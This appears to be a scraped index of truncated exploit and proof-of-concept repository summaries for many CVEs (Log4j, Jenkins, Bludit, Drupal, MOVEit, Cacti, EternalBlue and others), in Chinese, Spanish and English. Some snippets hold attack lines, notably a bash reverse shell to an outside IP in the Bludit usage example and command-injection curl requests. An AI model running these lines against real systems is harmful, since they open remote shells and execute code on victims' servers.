CVE-2021-44228-Log4j-lookup-Rce

0x01、环境 Jdk7u21（随便版本都可以） 影响版本：Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainString ar...

cve-2019-1003000-jenkins-rce-poc

PoC：Jenkins RCE SECURITY-1266 / CVE-2019-1003000 Script Security，CVE-2019-1003001 Pipeline: Groovy，CVE-2019-1003002 Pipeline: Declarative 一个概念验证，允许具有 Overall/Read 权限和 Job/Configure（以及可选的 Job/Build）权限的用户绕过沙箱保护，在 Jenkins 主节点或代理节点上执行任意代码。 更新 : 一篇由 Orange Tsai 撰写的文章，解释了利用 CVE-2018-1000861 和...

CVE-2020-7247

CVE 2020-7247 OpenSMTPD 6.4.0...

check-spelling

@check-spelling/check-spelling GitHub Action 概述 每个人都会打错字。这不仅包括编写文档和注释的人，也包括为变量、函数、API、类和文件名命名的程序员。 通常，程序员在命名时会使用 InitialCapitalization、camelCase、ALLCAPS 或 IDLCase 等风格。这样一来，简单的拼写工具很难识别拼写错误，而且由于误报率非常高，人们往往根本不会启用拼写检查。 本仓库的工具能够容忍所有这些命名变体。具体来说，w 对程序员的命名方式有足够的理解，能够将上述约定拆分为类似单词的片段，以便与词典进行比对。...

CVE-2025-24893

CVE-2025-24893 XWiki RCE 漏洞分析 环境搭建 1. 运行 XWiki 15.10.10 环境 root@kitploit: docker-compose up -d 2. 访问 XWiki URL: http://localhost:8080 完成初始设置后进行测试 访问初始页面后创建管理员帐户 安装 xwiki 基本扩展 赋予用户脚本权限 漏洞信息 CVE ID : CVE-2025-24893 产品 : XWiki Platform 版本 : 15.10.10 漏洞类型 : Remote Code Execution RCE CVSS : TBD PoC 代码...

CVE-2020-6364

CVE-2020-6364 CA APM Team Center Wily Introscope 中的远程代码执行漏洞。 原始公告 CA APM Team Center 中的反序列化漏洞导致未经验证的远程代码执行在服务器上。 当向服务器进行身份验证时，返回的 cookie 以臭名昭著的 rO0 字符串开头，表明这是一个 base64 编码的序列化对象： 尽管我没有完全静态地追踪这个问题，但下面的代码很可能是存在漏洞的代码： root@kitploit: public class HttpRequestHeaderInfo implements Externalizable public...

CVE-2024-48990

CVE-2024-48990 !WARNING Estos archivos e información están destinados únicamente con fines educativos. El autor no es responsable de ningún comportamiento malicioso. Toda la información proporcionada no tiene la intención de incitar ningún tipo de crimen o abuso. Descripción Qualys descubrió que...

CVE-2023-32571

🐞 CVE-2023-32571 - Ejecución remota de código en System.Linq.Dynamic.Core Prueba de concepto para CVE-2023-32571, una vulnerabilidad de ejecución remota de código en System.Linq.Dynamic.Core 1.0.7.10 a 1.2.25. Esta vulnerabilidad permite a los atacantes ejecutar código y comandos arbitrarios cuan...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE 认证 用法 python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" 示例...

CVE-2019-3980

CVE-2019-3980 Este repositorio fue creado para utilizar el PoC de Nessus con un ejecutable personalizado en C para ejecutar comandos en un host remoto y obtener la salida del comando. El archivo Python se utiliza para iniciar un servidor web, ejecutar el exploit y luego obtener los resultados a...

CVE-2026-11744

An input validation vulnerability exists in the PaperCut Hive embedded application for Ricoh devices . The application fails to properly sanitize input received during the NFC card reading process before passing it to the web view interface. A local attacker with physical access and a specially c...

CVE-2026-11744 PaperCut Hive Embedded App for Ricoh: Javascript injection

An input validation vulnerability exists in the PaperCut Hive embedded application for Ricoh devices. The application fails to properly sanitize input received during the NFC card reading process before passing it to the application's web view interface. A local attacker with physical access to t...

EUVD-2026-85813

An input validation vulnerability exists in the PaperCut Hive embedded application for Ricoh devices. The application fails to properly sanitize input received during the NFC card reading process before passing it to the application's web view interface. A local attacker with physical access to t...

CVE-2019-6340

CVE-2019-6340 仅供教育目的 运行 root@kitploit: $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 利用 GET root@kitploit: $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

CVE-2025-5777-TrendMicro-ApexCentral-RCE

🚨 CVE-2025-5777 – Trend Micro Apex Central 认证绕过 + RCE 🔎 概述 CVE-2025-5777 是 Trend Micro Apex Central 中一个严重的认证绕过和远程代码执行漏洞。它允许未经认证的攻击者通过滥用基于 Web 的管理界面中的缺陷，在系统上执行任意命令。 严重性： 严重 CVSS 评分： 10.0 攻击向量： 远程 需要认证： 否 受影响产品： Trend Micro Apex Central 受影响版本： 低于 Patch 2379 的版本 状态： 已被在野利用 🧠 技术细节 该漏洞存在于 Trend Micro...

MoodleExploit

Moodle 漏洞利用 漏洞利用标题: Moodle v3.4.1 RCE 漏洞利用 Google Dork: inurl:"/course/jumpto.php?jump=" 日期: 2019年3月15日 漏洞利用作者: Darryn Ten 厂商主页: https://moodle.org 软件链接: https://github.com/moodle/moodle/archive/v3.4.1.zip 版本: 3.4.1 可能小于3.5.0，甚至可能是3.x 测试环境: Linux 上的 Moodle v3.4.1 CVE : CVE-2018-1133...

CVE-2023-34362

CVE-2023-34362 影响MOVEit Transfer的CVE-2023-34362的POC 技术分析 该漏洞的技术根本原因分析可在我们的博客中找到： https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/ 摘要 此POC利用SQL注入获取系统管理员API访问令牌，然后利用该访问权限滥用反序列化调用以实现远程代码执行。...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - 任意文件写入致 RCE 🌵 已认证的 RCE Cacti 版本 v1.2.26 摘要 一个任意文件写入漏洞，可通过“包导入”功能加以利用，允许具有“导入模板”权限的已认证用户在 Web 服务器上执行任意 PHP 代码（远程代码执行）。 概念验证 用法 root@kitploit: git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26 pip...

CVE-2019-11043-Docker

一个包含易受攻击版本PHP-FPM CVE-2019-11043 和 nginx 的 Docker 镜像。 运行 docker run --rm -p8080:80 akamajoris/cve-2019-11043 你应该能够通过 http://your-ip:8080/ 访问该 Web 应用程序。 利用 从 https://github.com/neex/phuip-fpizdam 构建一个二进制文件，然后 root@kitploit: root@debian:/gopath/bin curl "localhost:8080/?a=/bin/sh+-c+'which+which'" ...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EtneralBlue-MS17-010-远程代码执行 攻击机是 Kali Linux，目标机是 Windows Server 2008 R2。 从给定的 https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing 将 Windows 2008 R2 Server 导入到你的 VirtualBox 中，并将网络设置为桥接适配器。 按照以下步骤来利用该漏洞。 步骤 1： 检查攻击机的 IP 地址，已确认其为 192.168.29.58。 步骤 2： ...